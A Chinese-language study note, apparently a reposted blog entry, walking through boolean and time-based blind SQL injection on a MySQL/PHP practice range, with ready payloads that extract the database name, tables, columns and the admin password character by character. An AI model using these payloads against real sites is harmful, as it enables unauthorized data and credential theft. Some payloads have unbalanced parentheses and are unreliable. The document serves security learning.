注入学习(3) Mysql+php注入 基于bool和时间的盲注

练习三:Mysql+php 基于bool和时间的盲注

今天要用的函数(详细的直接看链接):

left()函数:left()得到字符串左部指定个数的字符  left( string, n ) #string为要截取的字符串,n为长度

limit()函数:标准定义找百度  limit(a,b)  #我的理解 从第a个位置,截取b个数据

if语句/if()函数:在MySQL中语法如下  if(a,b,c)  #如果a为真,则if()函数执行b语句; 否则if()函数执行c语句;

sleep()函数:函数代码执行延迟若干秒;

  ##链接在这里 https://blog.csdn.net/alex_seo/article/details/82148955(布尔盲注)

          https://blog.csdn.net/pygain/article/details/53086389(时间盲注,这个其实都包括了)

          https://www.cnblogs.com/lcamry/p/5504374.html

      ##感觉函数越来越多,想写一篇整理,不知道会不会写哈哈

基于布尔的盲注

1)因为是靶场所以肯定是可以注入的,直接判断当前数据库长度

/index.php?id=1 and length(database())>3 正确
/index.php?id=1 and length(database())>4 错误
#数据库长度为4

2)猜解数据库名,为test

/index.php?id=1 and left(database(),1) >'s' 正确
/index.php?id=1 and left(database(),1) >'t' 错误
#第一种方法,用left函数,数据库第1位为t
/index.php?id=1 and ascii(substr((select database()),1,1))>115 正确
/index.php?id=1 and ascii(substr((select database()),1,1))>116 错误
#第二种方法,用ascii函数,第1位ascii编码为116,即t

3)判断有多少个表,再判断表的长度,最后猜表名,找到比较敏感的就行

index.php?id=1 and (select count(*) from information_schema.tables where table_schema ='test')>1
#判断有多少个表判断方法和上面一样,数据库名字要带''
index.php?id=1 and length((select table_name from information_schema.tables where table_schema='test' limit 0,1))>4
#判断第一个表长度
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))=97
#猜第一个表表名的第一个字母,这里第一个字母是97那应该可以猜到是admin

4)然后判断列名长度,猜列名,操作和猜表差不多,附上语句,最后出来是username和password

index.php?id=1 and ascii(substr((select count(column_name) from information_schema.columns where table_name='admin')=8
#判断列名长度
index.php?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='admin' limit 0,1),1,1))=105
#猜列名的第一个字母

5)猜解字段,挨着找直到找完需要的

index.php?id=1 and ascii(substr((select password from admin limit 0,1),1,1))>100

基于时间的盲注

#时间盲注中返回的页面都是一样的,我们利用条件语句if(),配合sleep()函数通过页面返回时间来判断操作是否正确

#基本操作和布尔盲注差不多,就是语句构造变了一哈,图就不整了,附上语句

1)判断是否存在时间盲注
?id=1 and if(ascii(substr((select database()),1,1))>10000,1,sleep(5))
#如果返回错误,sleep(5)秒
2)判断数据库长度,数据库名
?id=1 and if(length((select database()))>3,1,sleep(5))
?id=1 and if(ascii(substr((select database)),1,1))>100,1,sleep(5))
#判断出来是4,数据库名test
3)判断表个数,长度,猜表名
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>100,1,sleep(5))
#和前面差不多,这个就贴个猜表名的,猜出来还是admin
4)判断列长度,猜列名
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit 0,1),1,1))>1000,1,sleep(5))
#同上
5)猜解字段
?id=1 and if(ascii(substr((select password from admin limit 0,1),1,1))>1,1,sleep(5))
#需要的信息弄完了就够了

  看组长bolg的时候看到文末一张我们的聊天截图,感觉好有爱哈哈,借用一下

      ————感谢卿哥 组长 俊姐,步履不停

          2019-06-01 23:58:35

猜你喜欢

转载自www.cnblogs.com/-saber/p/10961193.html